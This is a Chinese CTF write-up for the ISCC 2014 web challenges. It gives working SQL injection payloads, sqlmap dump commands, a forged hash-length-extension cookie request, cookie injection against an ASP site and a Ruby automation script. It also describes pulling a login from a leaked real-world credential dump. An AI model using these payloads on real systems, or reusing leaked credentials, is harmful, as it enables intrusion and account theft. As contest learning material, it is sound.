0×00
iscc的比赛 持续了一个半月 做了一些 就写写writeup 比赛也结束了 有的题目还是很不错的 我还作死的接触了一些逆向 pwn的题目 这个是web部分的writeup http://www.iscc.org.cn
0×01 彩蛋
比赛开始之前在 http://www.iscc.org.cn index.php页面里的注释里 有一枚彩蛋
0110100001110100011101000111000000111010 0010111100101111011101110111011101110111 0010111001101001011100110110001101100011 0010111001101111011100100110011100101110 0110001101101110001011110011010000110110 0011000100110000001101100011001100110010 0110001000110100011000100011000100110010 0011001100111000001110010011001100110011 0110010100111001001110010110001001100110 0011100001100101011000100011000100110111 0011100101100100011001100110001001100001 0010111001101010011100000110011100000000
神器JPK一上 然后就是很简单的解一下 8位一个ascii码
http://www.iscc.org.cn/4610632b4b1238933e99bf8eb179dfba.jpg
就是个彩蛋 练练手
0×02 霸业蓝图exif
web1的是个linux逆向的 我就放到另外的一个逆向的writeup里
http://www.iscc.org.cn/challenges/2014/web/web02/
web02是这样子的
http://www.ty-ing.org/script/2/
随便上传一张图片上去看看
发现了有显示出了exif的信息
然后就去百度看看 会有什么漏洞 然后在wooyun上看到了这个
DiscuzX2个人空间图片EXIF信息XSS
然后就和这个题目的描述一对比 很相似 很可能就是需要我们去做xss 修改exif的信息成xss的payload 可以用一些工具去实现 网上搜搜 一大堆 我用的是powerexif
这里是一个我改好了的jpg图片
然后浏览 submit就可以出key了 就一步 比较简单
19ojep03
0×03 君臣论证sqli
http://www.iscc.org.cn/challenges/2014/web/web03/
http://www.ty-ing.org/script/3/
提交提交试试看
发现是有一个数据库查询的 然后返回信息 判断是有sql注入
然后就是自己慢慢测试 注入点在哪
month 那个是有注入的 可以构造语句 在balance为2的时候才会产生注入
然后就是测测看是什么 php一般是+mysql
发现也确实是 然后后面的就顺理成章的东西咯
order by 发现是4 然后就用union select返回表名啊 列名啊 数据之类的
#查询库名 1 union select group_concat(SCHEMA_NAME),NULL,NULL,NULL from information_schema.SCHEMATA #查询script的表名 1 union select group_concat(table_name),NULL,NULL,NULL from information_schema.tables where table_schema=0x736372697074 #回显了这三个 people,report,xiaoming #查询xiaoming的列名 1 union select group_concat(column_name),NULL,NULL,NULL from information_schema.columns where table_schema=0x736372697074 #发现回显了secret 1 union select secret,NULL,NULL,NULL from xiaoming
9xme0siv2
0×04 火眼金睛 社工出奇迹
http://www.iscc.org.cn/challenges/2014/web/web04/
http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/index.html
仔细的看看题目描述 就看到了TianYa 这不是天涯啊 然后就看到给了一个用户名VeryCD永垂不朽 需要我们去找秘密
后来的提示更明显了 说要在站内做题 不要去影响到本人什么的 貌似说是 那个VeryCD找到了iscc说了一下 更加的此地无银三百两
登陆框那里尝试了一下注入 没成功 就去研究题目描述 说到了天涯 很自然会想到天涯以前被拖过库 这会不会是要我们去撞库
这里是个天涯裤子的在线查询
http://www.594sgk.com/
之前还可以查询得到的 貌似被媒体一曝光 这个库也要账号了 简直无情啊
[email protected] gnikni[512312
http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/login.html登陆上去
能看到一张图片
ab8c3844185c16b72db72baed7750783.jpg
右键记事本 这里有一段php的代码
$auth = false; if (isset($_COOKIE["auth"])) { $auth = unserialize($_COOKIE["auth"]); $hsh = $_COOKIE["hsh"]; if ($hsh !== md5($SECRET . strrev($_COOKIE["auth"]))) { //$SECRET is a 8-bit salt $auth = false; } } else { $auth = false; $s = serialize($auth); setcookie("auth", $s); setcookie("hsh", md5($SECRET . strrev($s))); }
是这个页面的一部分代码 白盒审计一下
http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/admin.php
后来发现题出重了 和2014 pctf web150的题目的一样的 就去找找前人的writeup
找到了冷夜牛的一篇
http://le4f.net/post/writeup/-ctf-plaidctf-2014-twenty_mtpox_doge_stege-writeup
哈希长度扩展攻击相关资料
http://www.freebuf.com/articles/web/31756.html
https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks
就用这个方法去搞搞这个
访问这个页面 可以得到2个cookie 然后去linux下用hash_extender
一开始我安装失败了 原来是少安装了一个库
sudo apt-get install libssl-dev
访问页面会返回一个cookie 就是要对这个cookie进行扩展
Cookie: auth=b%3A0%3B; hsh=32efdc967fcaebc6853b75cacfb80c5f
生成了一个
%3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%3b1%3ab
然后我们去反序一下
b%3a1%3b%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b
得到了这个 然后带上cookie和hsh
发这个包
GET /web01_853d9ed229ab47b5878c456d2d861dad/admin.php HTTP/1.1 Host: script.iscc.org.cn User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: auth=b%3a1%3b%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b; hsh=c244187d39381794b9064a02d669275a Connection: keep-alive
回显了这个
POST ME SOME ID!
我们post一个ID=value的格式上去
然后就是尝试去注入了
字段是1 order by 2 报错
判断是mysql的数据库 手工注入一下
#查询数据库版本 id=-1 union select version() #查询数据库 发现web数据库 id=-1 union select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA #查询表名 发现有users表 id=-1 union select group_concat(table_name) from information_schema.tables where table_schema=0x776562
然后尝试用sqlmap来拖数据
POST /web01_853d9ed229ab47b5878c456d2d861dad/admin.php HTTP/1.1 Host: script.iscc.org.cn User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: auth=b%3a1%3b%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b; hsh=c244187d39381794b9064a02d669275a Connection: keep-alive Content-Length: 4 id=1
保存成appleu0.txt
sqlmap -r 'appleu0.txt' -D web -T users --dump -p id
[email protected] 2461C83C809E8BA6
http://script.iscc.org.cn/web01_853d9ed229ab47b5878c456d2d861dad/login.html
再去登陆上去
4297f44b13955235245b2497399d7a93.jpg
记事本打开就能看到flag
f l a g { I _ A M _ A _ V E R Y _ S M A R T _ A D M I N _ L O L } 去掉空格
flag{I_AM_A_VERY_SMART_ADMIN_LOL}
0×05 上古神兽 爆破
http://www.iscc.org.cn/challenges/2014/web/web05/
http://script.iscc.org.cn/web05_519a5a01fb6685c1fd13f1442891d0f8/index.php
这个题目很变态 是去年的 去年一直没人做得出来 一直到今年 到最后面难度降低 还给了很多的提示才有人做出来了 所以最后题目才叫做上古神兽
http://lubao515.info/
还一直去这个大神的博客 找tips
http://lubao515.info/archives/2013/06/138.html
最后是在这里有一个tips
外部赋值的变量会覆盖内部赋值的变量 这个题目是要考察的是变量覆盖的知识
变量覆盖 就是相当于 我们做逆向时的爆破 改变某些关键寄存器啊 跳转啊 来达到自己的目的
在这个题目中的变量覆盖 目的是要我们发送流量给lubao515 可以每次都会提示流量太少了
那么我们变量覆盖的目的 就是要在那个判断我们流量大小 大于10G之后 就会给某个变量赋值为1 但是我们正常的情况下都是0
所以就要给某个黑盒变量去覆盖为1
可以使用burp爆破
POST /web05_519a5a01fb6685c1fd13f1442891d0f8/index.php?action=taketransfer&XXX=1 HTTP/1.1 Host: script.iscc.org.cn User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://script.iscc.org.cn/web05_519a5a01fb6685c1fd13f1442891d0f8/index.php Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 64 uploaded=1000&receiver=lubao515&submitbutton=%E6%8F%90+%E4%BA%A4
把XXX替换成自己的字典去爆破 一开始没注意到一个问题的时候 爆破了一下午 什么都没爆破出来
就是uploaded的值要在100到2048之间 才可以 一开始使用uploaded=1去爆破 什么都没有
自己弄个字典 大小写数字还有_之类的 62个就可以了
然后就是burp suite Intruder 这里 设置Cluster bomb 可以爆破多个自己的设置的变量
后来才发现这个坑爹的题目 这个变量居然只有一位 那么burp设置payload type为Brute forcer
爆破就可以了
发现了需要爆破的变量名为G
设置G=1 我们访问一次
感谢你的礼物,我现在已经有999999999MB的流量了!
发现了这个 在repeater里多测试
发现了 receiver=lubao515′ and 1=2# 这里有个注入点
感谢你的礼物,我现在已经有MB的流量了! 变成了这样子
直接把
POST /web05_519a5a01fb6685c1fd13f1442891d0f8/index.php?action=taketransfer&G=1 HTTP/1.1 Host: script.iscc.org.cn User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://script.iscc.org.cn/web05_519a5a01fb6685c1fd13f1442891d0f8/index.php Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 64 uploaded=1000&receiver=lubao515&submitbutton=%E6%8F%90+%E4%BA%A4
保存成appleu0.txt 然后去注入 找到labao515的密码 就是flag
#列数据库 发现了web05 sqlmap -r 'appleu0.txt' --dbs -p receiver #列web05表名 发现有iscc这个表 sqlmap -r 'appleu0.txt' -D web05 --table -p receiver #列出iscc的列名 发现有username和password sqlmap -r 'appleu0.txt' -D web05 -T iscc --columns -p receiver #拖出数据内容 sqlmap -r 'appleu0.txt' -D web05 -T iscc -C username,password -p receiver
8froerf9pu34rjeslfh
0×06 老马识途 网络编程
http://www.iscc.org.cn/challenges/2014/web/web06/
http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/
密码已经通过某种方式发给你了哦!不过密码的有效期只有3秒,要快哦!
说是密码已经给了我们 那么抓包看看
发现了response包中有那个Password的http头 那么我们需要把他处理一下 然后往
http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/index.asp?action=Check
POST这个内容pwd=md5(Password)&Submit=%E6%8F%90%E4%BA%A4
限定的时间比较短 只有3秒 可以编程的实现 当然了如果你是单身很多很多年的话 可以试试看手动提交试试看 考验手速的时刻到来了
我是用的ruby写了一个 之后去尝试一下python 最近也在学 python写应该可以更快 写的时候 注意还要把cookie带上 会验证cookie和对于的psw password的
#encoding: utf-8 require 'net/http' require 'digest/md5' #=begin #get方式获取password puts 'get password' headers = { ##定义http请求头信息 'Host' => 'script2.iscc.org.cn', 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0', 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language' => 'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3', 'Accept-Encoding' => 'gzip, deflate', 'Connection' => 'keep-alive' } #要访问的网页host uri = URI.parse("http://script2.iscc.org.cn") #创建服务器对象 res = Net::HTTP::start(uri.host){|http| http.get(uri.path+'/web07_e3a95260b7271954aa59460c134cde7e/index.asp', headers) } #返回响应头信息 res.each{|key, value| puts "#{key} = #{value}"} res.each{|key, value| if key == 'set-cookie' $cookie = value elsif key == 'password' $password = value end } puts $cookie puts $password #输出response的内容 #puts res.body #=end #处理一下cookie $cookie = $cookie.split(';')[0] #把password进行md5 $password = Digest::MD5.hexdigest($password).upcase puts $cookie puts $password #=begin #post方式提交md5(password) headers = { ##定义http请求头信息 'Host' => 'script2.iscc.org.cn', 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0', 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language' => 'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3', 'Accept-Encoding' => 'gzip, deflate', 'Referer' => 'http://script2.iscc.org.cn/web07_e3a95260b7271954aa59460c134cde7e/index.asp', 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Content-Type' => 'application/x-www-form-urlencoded' } #要访问的域名 uri = URI.parse("http://script2.iscc.org.cn") #创建服务器对象 res = Net::HTTP::start(uri.host){|http| http.post(uri.path+'/web07_e3a95260b7271954aa59460c134cde7e/index.asp?action=Check', 'pwd='+$password+'&Submit=%E6%8F%90%E4%BA%A4', headers) } #返回响应头信息 #res.each{|key, value| puts "#{key} = #{value}"} #输出response的内容 puts res.body #=end
KEY: W3b_Pr0Gr4m1ng@_@
0×07 首次会盟 udf
http://www.iscc.org.cn/challenges/2014/web/web07/
这个题是个udf的题 还是以前的题 2012年的swpu的 mayafei大哥哥出的 做做看
udf的可以在mysql中有用户自定义的函数 在实战中可以用来提权 udf提权 别的sql数据库也有类似的功能
自己可以本地弄一个mysql
有一个要注意的 MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数
放到plugin之后
create function about returns string soname 'udf.dll';
然后就可以使用里面的函数了 提示说有about这个函数
我们尝试一下 select about();
Use getkey function to get the key!
那么我们就 select getkey();
U_Will_Use_Udf_In_Final_Challenge@2012
0×08 霸业初成 cookie注入
http://www.iscc.org.cn/challenges/2014/web/web08/
http://script2.iscc.org.cn/web08_0cfd59e8aef4f69e9301b8dbd2e057b7/show.asp?id=1
是个asp的站 这里的是给了个id=1 我们去注入注入 发现直接去注入被过滤了
asp的站 可能出现的一个漏洞就是cookie注入 asp编程时 使用request(“id”) 没有限定获取参数的方式 是以get post cookie这样子的属性来获取的 因此可以使用cookie进行传参
对于cookie获取的测试没有进行过滤 这个是cookie注入产生的原因
那么有两种方法可以去做这个题 直接使用sqlmap去跑cookie注入
还有一种是使用注入中转工具去中转 然后再去注入
GET /web08_0cfd59e8aef4f69e9301b8dbd2e057b7/show.asp HTTP/1.1 Host: script2.iscc.org.cn User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: ASPSESSIONIDAQSSQBTQ=MAJJIJLDHHFCBPHDEOFOGHMD; ASPSESSIONIDASRTQATR=OGKJBBMDFBEKNIDNJAHDKFCC; id=1 Connection: keep-alive
保存成appleu0.txt
sqlmap -r 'appleu0.txt' --dbs --level=2 -p id --technique=B
貌似比较容易跑挂 略蛋疼 可以用 –delay=2这样子来延时 之后好像是在晚上人少的时候跑的 还有通过-p 指定注入的参数 –technique=B 指定为盲注
还有一种方法就是用中转注入
生成一个appleu0.asp 然后放在自己的iis下面跑跑
sqlmap -u "http://127.0.0.1/appleu0.asp?id=1"
发现有了admin表 还有password列
然后就–dump出来
CaiBuDaoDeMiMa
写writeup的时候 又把web08跑挂了 真是尴尬
0×09 后记
比赛时间很长 一个半月 我也做了些逆向啊 溢出之类的 另外写一篇逆向溢出类的吧 web的难度还不算是很大 除了那种需要爆破的上古神兽 其他的技巧性的还可以 并不是特别难 但是需要多方面的能力 包括其他的逆向溢出啊 加油学 iscc re+pwn writeup
FROM :appleu0.sinaapp.com | Author:appleu0
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论